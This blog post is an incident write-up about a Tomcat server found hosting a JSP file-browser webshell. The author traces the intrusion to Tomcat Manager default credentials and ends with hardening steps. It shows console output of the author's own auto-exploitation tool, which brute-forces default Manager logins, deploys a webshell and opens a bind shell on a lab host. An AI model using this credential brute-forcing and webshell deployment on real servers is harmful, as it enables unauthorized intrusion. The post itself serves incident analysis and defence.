Figure 1: Symantec detected suspicious HackTool
Unfortunately I can't find the quarantined file from the quarantine setting/folder. Symantec's detection name is a generic one and the description page does not give us any clue about this file.
Information Gathering
I decided to use Google search and hopefully it will provide me some useful hints. Interestingly, I tried a couple of search queries with no luck for example "2.jsp", "docs\funcspecs" and etc. At last, I managed to find something interesting using search query "docs\funcspecs\2.jsp" and Google returned a few number of results:
Figure 2: "docs\funcspecs\2.jsp" search result
Simply visiting one of the link will lead you to a webpage that looks like a file browser. At the bottom of the webpage, we can clearly see the original author copyright information: jsp File Browser version 1.2 by www.vonloesch.de. Apparently this is an open source JSP file browser which can be further verified after reading the author official's website.
Understanding the Root Cause
There are 2 questions come to my mind until here:- How Tomcat was compromised? Why JSP file browser uploaded to the server with a consistent file path: "docs\funcspecs"?
- What was the vulnerability (if any) the attacker could use in order to compromise the website?
x9090mbp:deploy-undeploy-manager-catalina-log x9090$ grep -i "docs" *
catalina.2012-08-29.log:Info: Undeploying context [/docs]
catalina.2012-08-29.log:Info: Deploying web application archive docs.war
catalina.2012-08-29.log:Info: Deploying web application archive docs.war
manager.2012-08-29.log:Info: HTMLManager: undeploy: Undeploying web application at '/docs'
We can see deploy/undeploy commands from the log and according to our Java developer, he didn't deploy/undeploy "docs" at all. For those who are not familiar with Tomcat, "docs" is a Tomcat webapp that contains documentation page that come with Apache Tomcat by default.
Looking for the Tomcat vulnerabilities from CVE database, we can conclude that there is one potential vulnerability that allows the attacker to upload files to Tomcat server. I believe the vulnerability could be related to CVE-2011-3190 with the following facts:
- We are running the vulnerable Tomcat as described by the CVE
- This vulnerability allows remote attackers to bypass authentication and disclose sensitive information on the targeted server.
- Last but not least, the complexity of this vulnerability is low :)
Despite of the low complexity of this vulnerability, I won't discuss the vulnerability in detail here and there exists a nice write-up on how to utilize this vulnerability with source code available: http://zhh2009.iteye.com/blog/1156191. Anyway as a heads-up, this vulnerability is due to the bug in AJP protocol which is exploitable only if you are running Apache web server as a proxy to Tomcat with mod_jk Apache module. This finding has disappointed me because we do not run Apache web server.
I started wondering if there is other alternative methods to upload file to Tomcat server. Because I'm not really familiar to Tomcat server, I had spent some time to play around with Tomcat in my local environment. After that, I discovered something from Tomcat documentation where users are able to upload webapps using Tomcat Manager. Tomcat Manager is similar to the web administration panel that allows users to manage or configure the Tomcat server remotely. The authentication mechanism for Tomcat Manager is Basic Authentication. Besides that, Tomcat Manager also supports a series of administrator's commands such as deployment of webapps using HTTP PUT request.
Christian Papathanasiou from TrustWave had presented his methods in Black Hat Europe 2010 on how to compromise Tomcat without exploiting any Tomcat vulnerability. In his paper, he described the methods how an attacker could use in order to control Tomcat server by using a simple webapp deployer tool. The tool could also brute-force Tomcat user account which usually comes with default username and password that most of the webmaster would left out.
TomcatAutoPwn Pentesting Tool
Metasploit has come with a module that could achieve this goal, tomcat_mgr_deploy. However this module requires username and password as input. So it is not handy to fully automate the process. So I decided to write a better tool using similar approach as in tomcat_mgr_deploy. The tool uses the wordlist provided by Metasploit, tomcat_mgr_default_userpass.txt.x9090mbp:PyTomcatAutoPwn x9090$ python PyTomcatAutoPwn.py 172.16.138.131 8080
*******************************
TomcatAutoPwn
*******************************
[+] Connecting to server 172.16.138.131...
[+] Deploying 'browser.war'...
[-] 401 Unauthorized
[+] Brute forcing 'Basic Authentication'...
[+] Attempting username: j2deployer, password: j2deployer
[+] Deploying 'browser.war'...
[-] 401 Unauthorized
[+] Attempting username: ovwebusr, password: OvW*busr1
[+] Deploying 'browser.war'...
[-] 401 Unauthorized
[+] Attempting username: cxsdk, password: kdsxc
[+] Deploying 'browser.war'...
[-] 401 Unauthorized
[+] Attempting username: root, password: owaspbwa
[+] Deploying 'browser.war'...
[-] 401 Unauthorized
[+] Attempting username: ADMIN, password: ADMIN
[+] Deploying 'browser.war'...
[-] 401 Unauthorized
[+] Attempting username: xampp, password: xampp
[+] Deploying 'browser.war'...
[-] 401 Unauthorized
[+] Attempting username: tomcat, password: s3cret
[+] Deploying 'browser.war'...
[-] 401 Unauthorized
[+] Attempting username: admin, password: admintesting
[+] Deploying 'browser.war'...
[-] Failed in deployment
[*] FAIL - Application already exists at path /browser
[+] TomcatAutoPwn will attempt to redeploy it.
[+] Undeploying 'browser.war'...
[+] Undeployed successfully
[+] Deploying 'browser.war'...
[+] Deployed successfully
[+] Check OS version... Passed!
[+] Server running: Windows XP (5.1) [x86]
[+] Webshell status enabled!: http://172.16.138.131:8080/browser/browser.jsp
[+] Which payload you would like to upload to server? (bind/reverse)bind
[+] Uploading payload to server...
[+] Checking if payload is uploaded successfully? Success
[+] Bind shell is listening on 172.16.138.131:1234
[+] Connecting to target server...
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Program Files\Apache Software Foundation\Tomcat 6.0>ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . : localdomain
IP Address. . . . . . . . . . . . : 172.16.138.131
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 172.16.138.2
Ethernet adapter Bluetooth Network Connection:
Media State . . . . . . . . . . . : Media disconnected
C:\Program Files\Apache Software Foundation\Tomcat 6.0>echo %USERPROFILE%
echo %USERPROFILE%
C:\Documents and Settings\LocalService
C:\Program Files\Apache Software Foundation\Tomcat 6.0>net config server
net config server
Server Name \\USER-851E78F1E7
Server Comment
Software version Windows 2002
Server is active on
NetbiosSmb (000000000000)
NetBT_Tcpip_{8B05CFDD-E437-4D30-BEC1-399C2B487D52} (000c295a6877)
Server hidden No
Maximum Logged On Users 10
Maximum open files per session 16384
Idle session time (min) 15
The command completed successfully.
C:\Program Files\Apache Software Foundation\Tomcat 6.0>
Securing your Tomcat
The lessons learnt from this incident and the following actions have been taken to harden Tomcat:- Rule of thumb: Use non-dictionary username and password
- Use LockOut realm to prevent unlimited invalid login attempts to Tomcat Manager
- Web access is not logged by Tomcat by default. Configure AccessLogValve to log web traffic
- Update latest version of Tomcat
References
[1] Abusing JBoss by Christian Papathanasiou[2] Apache Tomcat Remote Exploit (PUT Request) and Account Scanner by Kingcope
[3] Improving Apache Tomcat Security - A Step By Step Guide - http://www.mulesoft.com/tomcat-security
Signing off @x9090